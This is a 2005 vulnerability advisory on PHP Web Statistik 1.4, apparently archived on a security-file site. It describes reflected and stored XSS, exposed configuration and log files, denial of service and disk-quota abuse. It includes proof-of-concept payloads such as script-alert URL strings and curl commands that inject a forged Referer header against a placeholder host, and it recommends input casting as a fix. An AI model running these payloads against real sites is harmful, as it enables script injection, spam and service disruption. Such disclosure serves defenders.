exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Web Statistik Multiple Vulnerabilities

PHP Web Statistik Multiple Vulnerabilities
Posted Dec 1, 2005
Authored by Francesco Ongaro | Site ush.it

PHP Web Statistik version 1.4 suffers from injection vulnerabilities.

tags | advisory, web, php, vulnerability
SHA-256 | 1254628e2da8b1b1b6f411da297d1ea9e16f19f55e843ac8d21250c14532a6ef

PHP Web Statistik Multiple Vulnerabilities

Change Mirror Download
Php Web Statistik Multiple Vulnerabilities

Name Multiple Vulnerabilities in Php Web Statistik
Systems Affected Php Web Statistik (verified on 1.4)
Severity Medium Risk
Vendor www.php-web-statistik.de
Advisory http://www_ush_it/2005/11/19/php-web-statistik/
Author Francesco �??aScii�?? Ongaro (ascii at katamail . com)
Date 20051119

I. BACKGROUND

Php Web Statistik is a php stats program, more information is
available at the vendor site.

II. DESCRIPTION

a) XSS

While lastnumber _GET var should be a positive integer no
input validation or casting assure this. Single quotes seems
to be scaped with a backslash (\').

stat.php?lastnumber=urlencoded%20text

b) Config exposure

The configuration file can be reached in the basepath by GET.

/stat/stat.cfg

directory=log/logdb.dta

c) Log database exposure

Using the value of "directory" in the configuration file you can
find the correct location of the whole database even when you
can't list directory contents.

d) Application level dos, resource usage

stat.php?lastnumber=big-int caused the script wit the php time
limit on our test machine.

e) XSS using the referer field

The value will be stored in the flat database file.

curl -A Opera http://the.vict.im/stat/pixel.php -e
"<a href=http://www.referer.spam>go-google</a>"

curl -A Opera http://the.vict.im/stat/pixel.php -e
"<script>alert(123123);</script>"

And shown on the backend (good news pr spammers).

f) Disk and quota misuse

The program don't rotate the db so you can misuse the remote
disk quota with multiple queries like this:

curl -A Opera http://www.vict.im/stat/pixel.php -e "WW[..]WWW"

Note the referer field can be >2kb.

III. ANALYSIS

This vulnerability can be exploited by a GET query.

stat.php?lastnumber=%3Cscript%3Ealert(123456789);%3C/script%3E

IV. DETECTION

Php Web Statistik 1.4 is vulnerable.
Older version not verified.

V. WORKAROUND

Input validation will fix the vulnerability. Cast (int)intval($input)
and limit the range (0-600 for example).

A collateral consequence of this is a small application
level dos (you just hit the SetTimeLimit value of the
php enviroment) as follow:

stat.php?lastnumber=2341694882134812734613478

last 2341694882134812734613478 hits

Fatal error: Maximum execution time of 30 seconds exceeded in
/var/www/localhost/htdocs/mambo/stat/stat.php on line 711
nr. timestamp hostname browser operating system site referrer

VI. VENDOR RESPONSE

Vendor invite you to download the new version from freewebstat.com.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20051119 Bug discovered
20051119 Developer notification
20051119 Advisory released
20051121 Vendor response

IX. CREDIT

ascii is credited with the discovery of this vulnerability.

X. LEGAL NOTICES

Copyright (c) 2005 Francesco "aScii" Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close